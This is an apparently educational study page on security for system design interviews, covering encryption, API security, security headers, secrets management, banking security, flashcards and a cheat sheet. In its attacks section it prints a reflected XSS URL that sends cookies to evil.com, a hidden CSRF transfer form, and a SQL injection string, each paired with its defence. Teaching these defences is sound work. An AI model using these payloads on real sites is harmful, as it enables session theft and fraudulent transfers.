Data Protection
Encryption at Rest
AES-256 (Advanced Encryption Standard):
- Symmetric encryption algorithm
- 256-bit key size — practically unbreakable with current technology
- Used for: database encryption, file storage, disk encryption
Encryption Strategies:
Application-Level Encryption
- Encrypt data before writing to storage
- Application manages keys
- Most flexible, works across storage systems
- Example: Encrypt PII fields (SSN, credit card) individually
Storage-Level Encryption
- Transparent to application — storage handles encryption/decryption
- AWS EBS encryption, S3 server-side encryption (SSE-S3, SSE-KMS, SSE-C)
- Simpler to implement but less granular
Database-Level Encryption
- Transparent Data Encryption (TDE) for entire database
- Column-level encryption for specific sensitive fields
- AWS RDS encryption, DynamoDB encryption at rest
Key Management:
- AWS KMS: Managed key service, integrates with most AWS services
- Customer-managed keys (CMK): You control key policy and rotation
- Envelope encryption: Encrypt data with data key, encrypt data key with master key
Encryption in Transit
TLS 1.3 (Transport Layer Security):
- Encrypts all data between client and server
- TLS 1.3 improvements over 1.2:
- Fewer round trips (1-RTT handshake vs 2-RTT)
- Removed weak ciphers (RC4, 3DES, CBC mode)
- Forward secrecy mandatory (ECDHE key exchange)
- Encrypted handshake (server certificate encrypted)
TLS Handshake (simplified):
1. Client Hello: supported cipher suites, TLS version
2. Server Hello: chosen cipher suite, server certificate
3. Key Exchange: Diffie-Hellman or ECDHE
4. Both derive session keys
5. Finished: encrypted with session keys
6. Application data: encrypted with session keys
Certificate Management:
- Use Let's Encrypt for free TLS certificates
- AWS Certificate Manager (ACM) for auto-renewal
- Certificate pinning for mobile apps (optional)
- HSTS to enforce HTTPS
Data Masking and Tokenization
Data Masking:
- Replace sensitive data with realistic but fake data
- Examples: "1234-5678-9012-3456" → "--****-3456"
- Used in non-production environments (dev, QA, staging)
- Types: static masking (permanent), dynamic masking (on-the-fly)
Tokenization:
- Replace sensitive data with a non-sensitive token
- Original data stored in a secure token vault
- Token has no mathematical relationship to original data
- Used in payment processing (PCI DSS compliance)
- Example: Credit card number → random token → vault maps token to card number
PII (Personally Identifiable Information) Handling
Classification Levels:
| Level | Data Types | Protection |
|---|---|---|
| Public | Marketing info, public profiles | No encryption required |
| Internal | Employee IDs, internal docs | Access control |
| Confidential | Email, phone, address | Encryption + access control |
| Restricted | SSN, credit card, health data | Strong encryption + tokenization + audit |
Principles:
- Data minimization: Collect only what you need
- Purpose limitation: Use data only for stated purpose
- Retention limits: Delete data when no longer needed
- Right to deletion: GDPR Article 17 — erasure on request
Common Security Patterns
API Security
Rate Limiting:
- Limits number of requests per time window per client/IP/API key
- Prevents abuse, DoS, and brute force attacks
- Strategies:
- Fixed window: 100 requests per minute (resets at window boundary)
- Sliding window: Rolling window (more accurate but complex)
- Token bucket: Tokens consumed per request, refilled at fixed rate
- Leaky bucket: Requests queued, processed at fixed rate
Implementation (Redis-based):
def rate_limit(user_id, limit=100, window=60):
key = f"rate:{user_id}:{int(time.time()) // window}"
count = redis.incr(key)
if count == 1:
redis.expire(key, window)
if count > limit:
raise RateLimitExceeded()
HTTP 429 Response:
HTTP/1.1 429 Too Many Requests
Retry-After: 30
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 0
X-RateLimit-Reset: 1700000030
Input Validation:
- Validate ALL input on the server side (never trust client-side validation)
- Whitelist validation over blacklist (define what IS allowed, not what ISN'T)
- Use schema validation (JSON Schema, protobuf)
- Parameterized queries to prevent SQL injection
- Limit input length, type, and format
CORS (Cross-Origin Resource Sharing):
Access-Control-Allow-Origin: https://trusted-domain.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
Access-Control-Allow-Credentials: true
- Never use
Access-Control-Allow-Origin: *with credentials - Whitelist specific origins
- Preflight requests (OPTIONS) for non-simple requests
Common Attacks and Defenses
SQL Injection:
# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE id = '{user_input}'")
# Input: ' OR '1'='1' -- → returns all users
# Protected
cursor.execute("SELECT * FROM users WHERE id = %s", (user_input,))
# Parameterized query - input is treated as data, not code
Cross-Site Scripting (XSS):
# Reflected XSS: malicious script in URL parameter
https://example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
# Stored XSS: malicious script stored in database
# User posts comment containing <script>...</script>
# Defense: Content Security Policy (CSP) + output encoding
Content-Security-Policy: default-src 'self'; script-src 'self'
Cross-Site Request Forgery (CSRF):
# Attacker creates hidden form on evil.com
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
# Defense: CSRF token
# Include unique token in form, verify on server
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="random_unique_token">
</form>
# Alternative: SameSite cookie attribute
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
DDoS (Distributed Denial of Service):
- Volumetric: Flood with traffic (UDP flood, amplification)
- Protocol: Exploit protocol weaknesses (SYN flood, Ping of Death)
- Application Layer: Target specific endpoints (HTTP flood, Slowloris)
Defenses:
- AWS Shield / Cloudflare for volumetric attacks
- Rate limiting and WAF for application layer
- Auto-scaling to absorb traffic spikes
- Anycast routing to distribute traffic
- Challenge-response (CAPTCHA) for suspicious traffic
Security Headers
Content Security Policy (CSP):
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
HSTS (HTTP Strict Transport Security):
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
- Forces browser to use HTTPS for all requests
max-age: How long to remember (1 year recommended)includeSubDomains: Apply to all subdomainspreload: Submit to browser preload list (HTTPS-only from first visit)
Other Security Headers:
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Secrets Management
AWS Secrets Manager:
- Managed service for storing and rotating secrets
- Automatic rotation with Lambda functions
- Integration with RDS, Redshift, DocumentDB
- Audit with CloudTrail
import boto3
import json
client = boto3.client('secretsmanager')
response = client.get_secret_value(SecretId='prod/db/password')
secret = json.loads(response['SecretString'])
HashiCorp Vault:
- Open-source secrets management
- Dynamic secrets (generate unique credentials per request)
- Lease-based: secrets expire automatically
- Transit encryption engine (encrypt/decrypt without exposing keys)
- Multiple auth methods: AppRole, Kubernetes, AWS IAM
Best Practices:
- Never commit secrets to code or config files
- Use environment variables or secret managers
- Rotate secrets regularly (automated rotation preferred)
- Audit secret access
- Use least-privilege access to secrets
- Separate secrets per environment (dev, staging, prod)
Security Design for Banking Application
Authentication:
- Multi-factor authentication (MFA): password + SMS/authenticator app
- Biometric authentication for mobile (fingerprint, face ID)
- Session timeout: 15 minutes idle, 8 hours absolute
- Device fingerprinting for fraud detection
Authorization:
- RBAC: customer, teller, manager, admin roles
- ABAC: transaction limits based on account type, customer tier, time of day
- Step-up authentication for high-risk operations (large transfers)
- Dual authorization for wire transfers above threshold
Data Protection:
- AES-256 encryption at rest for all PII and financial data
- TLS 1.3 for all communications
- Tokenization for credit card numbers (PCI DSS compliance)
- Database field-level encryption for SSN, account numbers
- Data masking in non-production environments
Transaction Security:
1. User initiates transfer
2. System checks: velocity (5 transfers/hour), amount ($10K daily limit), destination (known payee)
3. If anomaly detected → step-up authentication (MFA + security question)
4. Transaction signed with user's private key
5. Logged to immutable audit trail (append-only log)
6. Real-time fraud detection ML model scores transaction
7. If score > threshold → hold for manual review
Audit and Compliance:
- Immutable audit logs (append-only, cryptographically signed)
- SOC 2 compliance controls
- PCI DSS for card processing
- GDPR for EU customer data
- Real-time alerting on suspicious activity
Infrastructure Security:
- VPC isolation with private subnets for databases
- Security groups with least-privilege port access
- WAF for SQL injection, XSS protection
- AWS Shield for DDoS protection
- Regular penetration testing and security audits
- Pen test findings tracked and remediated within SLA
Practice Problems
Design a scalable Security system. Cover high-level architecture, data model, and API design.
Solution
// Complete system design:
// - Functional + Non-functional requirements
// - Capacity estimation
// - Data model (SQL/NoSQL choice)
// - API endpoints
// - Component architecture
// - Scaling strategy
// - Monitoring & reliabilityHow would you scale Security to handle 10x the current load? Identify bottlenecks and solutions.
Solution
// Scaling approach:
// 1. Load balancing
// 2. Database sharding/replication
// 3. Cache layer (Redis)
// 4. CDN for static assets
// 5. Async processing (queues)
// 6. Microservices decompositionAnalyze potential failure modes for Security and design mitigation strategies.
Solution
// Failure mitigation:
// 1. Redundancy (multi-AZ)
// 2. Circuit breakers
// 3. Retry with backoff
// 4. Dead letter queues
// 5. Health checks
// 6. Graceful degradationQuiz
1. Why should JWT tokens NOT be stored in localStorage?
2. What is the key difference between RBAC and ABAC?
3. What does TLS 1.3 provide that TLS 1.2 does not?
4. How does parameterized queries prevent SQL injection?
5. What is the purpose of a CSRF token?
6. What is the difference between encryption at rest and encryption in transit?
7. What is the Content Security Policy (CSP) header used for?
8. Why is HSTS (HTTP Strict Transport Security) important?
Flashcards
Question
What is the difference between authentication and authorization?
Click to reveal answer
Answer
Authentication verifies identity (Who are you?) — e.g., username/password, MFA, biometrics. Authorization determines permissions (What can you do?) — e.g., RBAC roles, ABAC policies. Authentication comes first; authorization uses the authenticated identity to make access decisions.
Question
What are the three parts of a JWT token and what does each contain?
Click to reveal answer
Answer
Header: Algorithm and token type (e.g., HS256, JWT). Payload: Claims — user identity (sub), name, expiration (exp), custom data. Signature: HMAC or RSA signature of header + payload, used to verify the token wasn't tampered with. Format: Header.Payload.Signature.
Question
Explain the OAuth 2.0 Authorization Code Flow with PKCE.
Click to reveal answer
Answer
1) Client generates code_verifier, computes code_challenge = SHA256(code_verifier). 2) Client redirects user to /authorize with code_challenge. 3) User authenticates, grants consent. 4) Auth server returns authorization code. 5) Client sends code + code_verifier to /token. 6) Auth server verifies SHA256(code_verifier) == code_challenge, issues tokens. PKCE prevents authorization code interception without requiring client_secret.
Question
How does parameterized queries prevent SQL injection?
Click to reveal answer
Answer
Parameterized queries separate SQL logic from data. The SQL template is parsed first (e.g., SELECT * FROM users WHERE id = ?), then user input is bound as parameters. The database never interpreates input as SQL code. So an input like ' OR '1'='1 is treated as a literal string value, not as SQL operators.
Question
What is the difference between XSS and CSRF?
Click to reveal answer
Answer
XSS (Cross-Site Scripting): Attacker injects malicious scripts into web pages viewed by other users. Defense: CSP header, output encoding, input validation. CSRF (Cross-Site Request Forgery): Attacker tricks a user's browser into making authenticated requests to your site. Defense: CSRF tokens, SameSite cookies, checking Origin header.
Question
What are the key differences between AWS Secrets Manager and HashiCorp Vault?
Click to reveal answer
Answer
AWS Secrets Manager: Managed AWS service, automatic rotation for RDS/Redshift, tight AWS integration, pay per secret. HashiCorp Vault: Open-source, dynamic secrets (generate unique creds per request), lease-based (auto-expire), transit encryption engine, multiple auth methods (AppRole, K8s, AWS IAM). Choose Secrets Manager for AWS-centric; Vault for multi-cloud or on-prem.
Question
List the essential security HTTP headers and their purposes.
Click to reveal answer
Answer
CSP (Content-Security-Policy): Prevents XSS by controlling allowed content sources. HSTS (Strict-Transport-Security): Forces HTTPS, prevents SSL stripping. X-Frame-Options: DENY prevents clickjacking via iframes. X-Content-Type-Options: nosniff prevents MIME type sniffing. Referrer-Policy: Controls referrer information leakage. Permissions-Policy: Restricts browser features (camera, mic, geolocation).
Question
What is tokenization and how is it used in payment processing?
Click to reveal answer
Answer
Tokenization replaces sensitive data (e.g., credit card number) with a randomly generated token that has no mathematical relationship to the original data. The original data is stored in a secure token vault. Used in PCI DSS compliance — the payment processor stores the card number, the merchant only stores the token. If breached, the token is useless without the vault.
Revision Notes
Key Takeaways
- 1.Authentication proves identity; authorization determines permissions — never confuse the two
- 2.JWTs are stateless but cannot be revoked — use short expiry + refresh tokens + HttpOnly cookies
- 3.OAuth 2.0 + PKCE is the standard for modern web and mobile app authorization
- 4.RBAC for simple cases, ABAC for fine-grained enterprise requirements — know when to use each
- 5.Always encrypt data both at rest (AES-256) AND in transit (TLS 1.3) — defense in depth
- 6.Parameterized queries eliminate SQL injection — never concatenate user input into SQL
- 7.CSP header is the strongest defense against XSS — specify allowed content sources explicitly
- 8.Rate limiting + WAF + auto-scaling is the standard API defense stack
- 9.Secrets belong in a secrets manager, not in code, config files, or environment variables directly
Interview Tips
- •Always ask about compliance requirements (PCI DSS, HIPAA, GDPR) — they heavily influence security design
- •Mention defense in depth — no single security measure is sufficient; layer multiple controls
- •For authentication, ask: consumer app or enterprise? This determines JWT/OIDC vs SAML/SSO
- •When discussing encryption, always mention both at-rest and in-transit — interviewers expect both
- •For banking/financial systems, lead with: MFA + tokenization + PCI DSS + immutable audit logs
- •Discuss the OWASP Top 10 — it shows you understand real-world attack patterns
- •Never say 'just use HTTPS' — elaborate on TLS version, certificate management, HSTS, and HSTS preload
- •For secrets management, mention rotation — static secrets are a liability
- •When asked about DDoS, discuss layers: volumetric (Shield), protocol (SYN cookies), application (rate limiting + WAF)
Cheat Sheet
Security Cheat Sheet
Authentication
- JWT: Stateless tokens. Header.Payload.Signature. Short expiry (15 min) + refresh tokens.
- OAuth 2.0: Authorization Code + PKCE for web/mobile. Access token + refresh token.
- SSO: SAML 2.0 (enterprise XML) or OIDC (modern JSON, built on OAuth 2.0).
- Best Practice: Store tokens in HttpOnly/Secure/SameSite cookies, NOT localStorage.
Authorization
- RBAC: Permissions → Roles → Users. Simple, works for most apps.
- ABAC: Permissions based on attributes (user, resource, action, env). Fine-grained, complex.
- Principle: Least privilege — grant minimum permissions needed.
Data Protection
- At Rest: AES-256. Options: app-level, storage-level (EBS/S3), database-level (TDE).
- In Transit: TLS 1.3. 1-RTT handshake, mandatory forward secrecy, encrypted handshake.
- Key Management: AWS KMS (managed), envelope encryption (data key + master key).
- Tokenization: Replace sensitive data with non-sensitive token. Vault maps token → data.
API Security
- Rate Limiting: Token bucket, sliding window. Return 429 + Retry-After header.
- Input Validation: Server-side only. Whitelist over blacklist. Schema validation.
- CORS: Whitelist specific origins. Never
*with credentials.
Common Attacks
- SQL Injection: Use parameterized queries/prepared statements.
- XSS: CSP header + output encoding + input validation.
- CSRF: CSRF tokens + SameSite cookies + Origin header check.
- DDoS: WAF + rate limiting + auto-scaling + AWS Shield/Cloudflare.
Security Headers
Content-Security-Policy: default-src 'self'; script-src 'self'
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=()
Secrets Management
- Never commit secrets to code/config files.
- AWS Secrets Manager (AWS-native, auto-rotation).
- HashiCorp Vault (multi-cloud, dynamic secrets, lease-based).
- Rotate regularly. Audit access. Separate per environment.
Banking Security Pattern
- MFA + biometric + device fingerprinting
- RBAC (customer/teller/admin) + ABAC (transaction limits)
- AES-256 at rest + TLS 1.3 in transit + tokenization for PCI
- Velocity checks + fraud ML model + immutable audit logs
- Step-up auth for high-risk operations